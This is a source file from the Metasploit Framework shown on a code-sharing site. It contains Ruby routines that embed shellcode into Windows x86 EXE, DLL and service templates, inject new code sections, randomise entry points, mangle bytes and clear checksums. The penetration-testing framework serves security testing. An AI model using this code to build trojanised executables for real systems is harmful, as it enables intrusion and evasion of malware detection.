Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/exe/windows/x86.rb
57477 views
1
# -*- coding: binary -*-
2
module Msf::Util::EXE::Windows::X86
3
include Msf::Util::EXE::Common
4
include Msf::Util::EXE::Windows::Common
5
6
def self.included(base)
7
base.extend(ClassMethods)
8
end
9
10
module ClassMethods
11
# # Construct a Windows x86 PE executable with the given shellcode.
12
# # to_win32pe
13
# #
14
# # @param framework [Msf::Framework] The Metasploit framework instance.
15
# # @param code [String] The shellcode to embed in the executable.
16
# # @param opts [Hash] Additional options.
17
# # @return [String] The constructed PE executable as a binary string.
18
19
# def to_win32pe(framework, code, opts = {})
20
# # Use the standard template if not specified by the user.
21
# # This helper finds the full path and stores it in opts[:template].
22
# set_template_default(opts, 'template_x86_windows.exe')
23
24
# # Read the template directly from the path now stored in the options.
25
# pe = File.read(opts[:template], mode: 'rb')
26
27
# # Find the tag and inject the payload
28
# bo = find_payload_tag(pe, 'Invalid Windows x86 template: missing "PAYLOAD:" tag')
29
# pe[bo, code.length] = code.dup
30
# pe
31
# end
32
33
# to_win32pe
34
#
35
# @param framework [Msf::Framework]
36
# @param code [String]
37
# @param opts [Hash]
38
# @option opts [String] :sub_method
39
# @option opts [String] :inject, Code to inject into the exe
40
# @option opts [String] :template
41
# @option opts [Symbol] :arch, Set to :x86 by default
42
# @return [String]
43
def to_win32pe(framework, code, opts = {})
44
45
# For backward compatibility, this is roughly equivalent to 'exe-small' fmt
46
if opts[:sub_method]
47
if opts[:inject]
48
raise RuntimeError, 'NOTE: using the substitution method means no inject support'
49
end
50
51
# use
52
return self.to_win32pe_exe_sub(framework, code, opts)
53
end
54
55
# Allow the user to specify their own EXE template
56
set_template_default(opts, "template_x86_windows.exe")
57
58
# Copy the code to a new RWX segment to allow for self-modifying encoders
59
payload = win32_rwx_exec(code)
60
61
# Create a new PE object and run through sanity checks
62
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
63
64
#try to inject code into executable by adding a section without affecting executable behavior
65
if opts[:inject]
66
injector = Msf::Exe::SegmentInjector.new({
67
:payload => code,
68
:template => opts[:template],
69
:arch => :x86,
70
:secname => opts[:secname]
71
})
72
return injector.generate_pe
73
end
74
75
text = nil
76
pe.sections.each {|sec| text = sec if sec.name == ".text"}
77
78
raise RuntimeError, "No .text section found in the template" unless text
79
80
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
81
raise RuntimeError, "The .text section does not contain an entry point"
82
end
83
84
p_length = payload.length + 256
85
86
# If the .text section is too small, append a new section instead
87
if text.size < p_length
88
appender = Msf::Exe::SegmentAppender.new({
89
:payload => code,
90
:template => opts[:template],
91
:arch => :x86,
92
:secname => opts[:secname]
93
})
94
return appender.generate_pe
95
end
96
97
# Store some useful offsets
98
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
99
off_beg = pe.rva_to_file_offset(text.base_rva)
100
101
# We need to make sure our injected code doesn't conflict with the
102
# the data directories stored in .text (import, export, etc)
103
mines = []
104
pe.hdr.opt['DataDirectory'].each do |dir|
105
next if dir.v['Size'] == 0
106
next unless text.contains_rva?(dir.v['VirtualAddress'])
107
delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
108
mines << [delta, dir.v['Size']]
109
end
110
111
# Break the text segment into contiguous blocks
112
blocks = []
113
bidx = 0
114
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
115
bbeg = bidx
116
bend = mine[0]
117
blocks << [bidx, bend-bidx] if bbeg != bend
118
bidx = mine[0] + mine[1]
119
end
120
121
# Add the ending block
122
blocks << [bidx, text.size - bidx] if bidx < text.size - 1
123
124
# Find the largest contiguous block
125
blocks.sort!{|a,b| b[1]<=>a[1]}
126
block = blocks.first
127
128
# TODO: Allow the entry point in a different block
129
if payload.length + 256 >= block[1]
130
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"
131
end
132
133
# Make a copy of the entire .text section
134
data = text.read(0,text.size)
135
136
# Pick a random offset to store the payload
137
poff = rand(block[1] - payload.length - 256)
138
139
# Flip a coin to determine if EP is before or after
140
eloc = rand(2)
141
eidx = nil
142
143
# Pad the entry point with random nops
144
entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)
145
146
# Pick an offset to store the new entry point
147
if eloc == 0 # place the entry point before the payload
148
poff += 256
149
eidx = rand(poff-(entry.length + 5))
150
else # place the entry pointer after the payload
151
poff -= [256, poff].min
152
eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length
153
end
154
155
# Relative jump from the end of the nops to the payload
156
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
157
158
# Mangle 25% of the original executable
159
1.upto(block[1] / 4) do
160
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
161
end
162
163
# Patch the payload and the new entry point into the .text
164
data[block[0] + poff, payload.length] = payload
165
data[block[0] + eidx, entry.length] = entry
166
167
# Create the modified version of the input executable
168
exe = ''
169
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
170
171
a = [text.base_rva + block.first + eidx].pack("V")
172
exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
173
exe[off_beg, data.length] = data
174
175
tds = pe.hdr.file.TimeDateStamp
176
exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
177
178
cks = pe.hdr.opt.CheckSum
179
unless cks == 0
180
exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
181
end
182
183
exe = clear_dynamic_base(exe, pe)
184
pe.close
185
186
exe
187
end
188
189
# to_winpe_only
190
#
191
# @param framework [Msf::Framework] The framework of you want to use
192
# @param code [String]
193
# @param opts [Hash]
194
# @param arch [String] Default is "x86"
195
def to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)
196
197
# Allow the user to specify their own EXE template
198
set_template_default(opts, "template_#{arch}_windows.exe")
199
200
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
201
202
exe = ''
203
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
204
205
pe_header_size = 0x18
206
entryPoint_offset = 0x28
207
section_size = 0x28
208
characteristics_offset = 0x24
209
virtualAddress_offset = 0x0c
210
sizeOfRawData_offset = 0x10
211
212
sections_table_offset =
213
pe._dos_header.v['e_lfanew'] +
214
pe._file_header.v['SizeOfOptionalHeader'] +
215
pe_header_size
216
217
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
218
219
sections_header = []
220
pe._file_header.v['NumberOfSections'].times do |i|
221
section_offset = sections_table_offset + (i * section_size)
222
sections_header << [
223
sections_table_characteristics_offset + (i * section_size),
224
exe[section_offset,section_size]
225
]
226
end
227
228
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
229
230
# look for section with entry point
231
sections_header.each do |sec|
232
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
233
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
234
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
235
236
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
237
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
238
if (importsTable - addressOfEntryPoint) < code.length
239
#shift original entry point to prevent tables overwriting
240
addressOfEntryPoint = importsTable - code.length + 4
241
242
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
243
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
244
end
245
# put this section writable
246
characteristics |= 0x8000_0000
247
newcharacteristics = [characteristics].pack('V')
248
exe[sec[0],newcharacteristics.length] = newcharacteristics
249
end
250
end
251
252
# put the shellcode at the entry point, overwriting template
253
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
254
exe[entryPoint_file_offset,code.length] = code
255
exe = clear_dynamic_base(exe, pe)
256
exe
257
end
258
259
# to_win32pe_old
260
#
261
# @param framework [Msf::Framework] The framework of you want to use
262
# @param code [String]
263
# @param opts [Hash]
264
def to_win32pe_old(framework, code, opts = {})
265
266
payload = code.dup
267
# Allow the user to specify their own EXE template
268
set_template_default(opts, "template_x86_windows_old.exe")
269
270
pe = ''
271
File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}
272
273
if payload.length <= 2048
274
payload << Rex::Text.rand_text(2048-payload.length)
275
else
276
raise RuntimeError, "The EXE generator now has a max size of 2048 " +
277
"bytes, please fix the calling module"
278
end
279
280
bo = pe.index('PAYLOAD:')
281
unless bo
282
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
283
end
284
pe[bo, payload.length] = payload
285
286
pe[136, 4] = [rand(0x100000000)].pack('V')
287
288
ci = pe.index("\x31\xc9" * 160)
289
unless ci
290
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
291
end
292
cd = pe.index("\x31\xc9" * 160, ci + 320)
293
unless cd
294
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
295
end
296
rc = pe[ci+320, cd-ci-320]
297
298
# 640 + rc.length bytes of room to store an encoded rc at offset ci
299
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
300
lft = 640+rc.length - enc.length
301
302
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
303
pe[ci, buf.length] = buf
304
305
# Make the data section executable
306
xi = pe.index([0xc0300040].pack('V'))
307
pe[xi,4] = [0xe0300020].pack('V')
308
309
# Add a couple random bytes for fun
310
pe << Rex::Text.rand_text(rand(64)+4)
311
pe
312
end
313
314
# to_win32pe_exe_sub
315
#
316
# @param framework [Msf::Framework] The framework of you want to use
317
# @param code [String]
318
# @param opts [Hash]
319
# @return [String]
320
def to_win32pe_exe_sub(framework, code, opts = {})
321
# Allow the user to specify their own DLL template
322
set_template_default(opts, "template_x86_windows.exe")
323
opts[:exe_type] = :exe_sub
324
exe_sub_method(code,opts)
325
end
326
327
# Embeds shellcode within a Windows PE file implementing the Windows
328
# service control methods.
329
#
330
# @param framework [Object]
331
# @param code [String] shellcode to be embedded
332
# @option opts [Boolean] :sub_method use substitution technique with a
333
# service template PE
334
# @option opts [String] :servicename name of the service, not used in
335
# substitution technique
336
#
337
# @return [String] Windows Service PE file
338
def to_win32pe_service(framework, code, opts = {})
339
# Allow the user to specify their own service EXE template
340
set_template_default(opts, "template_x86_windows_svc.exe")
341
opts[:exe_type] = :service_exe
342
exe_sub_method(code,opts)
343
end
344
345
# to_win32pe_dll
346
#
347
# @param framework [Msf::Framework] The framework of you want to use
348
# @param code [String]
349
# @param opts [Hash]
350
# @option [String] :exe_type
351
# @option [String] :dll
352
# @option [String] :inject
353
# @return [String]
354
def to_win32pe_dll(framework, code, opts = {})
355
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
356
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
357
opts[:exe_type] = :dll
358
359
if opts[:inject]
360
to_win32pe(framework, code, opts)
361
else
362
exe_sub_method(code, opts)
363
end
364
end
365
366
367
# to_win32pe_dccw_gdiplus_dll
368
#
369
# @param framework [Msf::Framework] The framework of you want to use
370
# @param code [String]
371
# @param opts [Hash]
372
# @option [String] :exe_type
373
# @option [String] :dll
374
# @option [String] :inject
375
# @return [String]
376
def to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
377
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
378
to_win32pe_dll(framework, code, opts)
379
end
380
end
381
class << self
382
include ClassMethods
383
end
384
end
385
386